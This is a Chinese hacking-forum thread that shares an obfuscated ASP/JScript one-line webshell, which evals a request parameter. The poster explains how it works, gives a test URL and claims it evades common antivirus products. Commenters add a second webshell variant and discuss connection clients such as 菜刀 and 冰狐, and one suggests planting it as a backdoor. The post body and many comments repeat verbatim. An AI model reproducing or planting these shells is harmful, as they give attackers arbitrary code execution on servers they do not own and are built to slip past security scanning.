ASP一句话也可以奇葩
大家都造PHP千变万化,从变量,数组,赋值,运算,函数等。。。没有一样不奇葩的!所以常说PHP的木马永远杀不干净。
但是asp就悲剧了,它的脚本VBS用法很死板,不像PHP语法各种灵活和奇葩,不过别忘了asp是可以自定义脚本的,如果改成Javascript脚本来执行代码,也能像PHP木马一样奇葩
下面分享一下偶的一匹悍马
<%@LANGUAGE="javascript"%>
<%_()(_(!-''));function _(__){if(__){return Request('_')+''}else{return eval
}}
%>
代码简单说明:
第一句,声明脚本为javascript
第二句,自定义了个函数_,当传入为空时返回 eval 函数,当传入为真时返回 _ 接收的值; !-'' 是1(True)的变形 (和PHP变形一样有木有?)
代码原形: eval(Request('_')+'') ,注意 +'' 绝对不能忽略,这是把接来的值转为串,否则不能识别;
手连测试:
test.asp?_=Response.write%20(Date()); //输出当前时间
总结:
用javascript来写asp,语法就能像php一样各种奇葩,但是注意以下几点:
1. 虽然能免杀狗,盾和360,还是有关键eval,所以对于靠关键词查杀的简单脚本和工具就报出来了
2.由于用的javscript脚本,所以用一般的客户端,如菜刀,斧头。。都连不上,有待码农开发个客户端。。。
但是asp就悲剧了,它的脚本VBS用法很死板,不像PHP语法各种灵活和奇葩,不过别忘了asp是可以自定义脚本的,如果改成Javascript脚本来执行代码,也能像PHP木马一样奇葩
下面分享一下偶的一匹悍马
<%@LANGUAGE="javascript"%>
<%_()(_(!-''));function _(__){if(__){return Request('_')+''}else{return eval
}}
%>
代码简单说明:
第一句,声明脚本为javascript
第二句,自定义了个函数_,当传入为空时返回 eval 函数,当传入为真时返回 _ 接收的值; !-'' 是1(True)的变形 (和PHP变形一样有木有?)
代码原形: eval(Request('_')+'') ,注意 +'' 绝对不能忽略,这是把接来的值转为串,否则不能识别;
手连测试:
test.asp?_=Response.write%20(Date()); //输出当前时间
总结:
用javascript来写asp,语法就能像php一样各种奇葩,但是注意以下几点:
1. 虽然能免杀狗,盾和360,还是有关键eval,所以对于靠关键词查杀的简单脚本和工具就报出来了
2.由于用的javscript脚本,所以用一般的客户端,如菜刀,斧头。。都连不上,有待码农开发个客户端。。。
评论21次
如果asp有需求,我会把斧头加上。
神啊,04年都出来了。。我还没上过网。。 试了下,功能好粗糙啊,有木有像菜刀一样强大的客户端。。。
直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%><%var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>
一直在找冰狐这个客户端,但网上好像绝种了,求前辈给个地址
http://www.baidu.com/s?wd=%E5%86%B0%E7%8B%90%E6%B5%AA%E5%AD%90asp&rsv_spt=1&issp=1&f=8&a ... ;rsv_sug4=962&rsv_sug1=5&rsv_sug2=0&inputT=11130
好吧,我只看看。其实我主要还是想弄一个ASPX的变形一句话。
直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%><%var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>
一直在找冰狐这个客户端,但网上好像绝种了,求前辈给个地址
直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的 http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> <% var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'}; lcx.性别((lcx.名字)+''); %>
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
我原本以为这个asp是可以用js实现后门功能,但实际上这东西怎么用你能教教我吗?比如上传一个文件,我看了w3cschool的确没有
网上这方面的知识很少,包括书上也很少。。。其实jsscript的组件和vbs操作组件非常相似,去掉Set,直接能跑。。包括数据库连接,文件操作都 一样。。不过jsscript分大小写很严的。。
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了
我原本以为这个asp是可以用js实现后门功能,但实际上这东西怎么用你能教教我吗?比如上传一个文件,我看了w3cschool的确没有
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
这是在服务端运行的,JS脚本可以操作文件,数据库。。等,和VBS一样,只不过asp的js脚本用的人非常少。。。也被人淡忘了都。。
的确没见过,Jscript还行,JS要操作文件的话调用ActiveX?求楼主给点资料科普一下
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
老师。你啥时成版主了O_o
默默地变成版主了
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了
老师。你啥时成版主了O_o
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能
...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能
这是在服务端运行的,JS脚本可以操作文件,数据库。。等,和VBS一样,只不过asp的js脚本用的人非常少。。。也被人淡忘了都。。
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能
这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定
楼主说了用的js呀。。。不懂你意思。。。
这样试一下就明显了
测试了一下这个实际上用的是js 在单独asp文件这样的代码
哈哈nice 能使用三目运算符吗 那样就可以掉if 和return了
可以的,js语法也很灵活。。
哈哈nice 能使用三目运算符吗 那样就可以掉if 和return了
思路是不错,但是不可能专门为了这么一个变形写个客户端出来吧。
当个后门吧。。。生成一个正常的一句话连就是了。。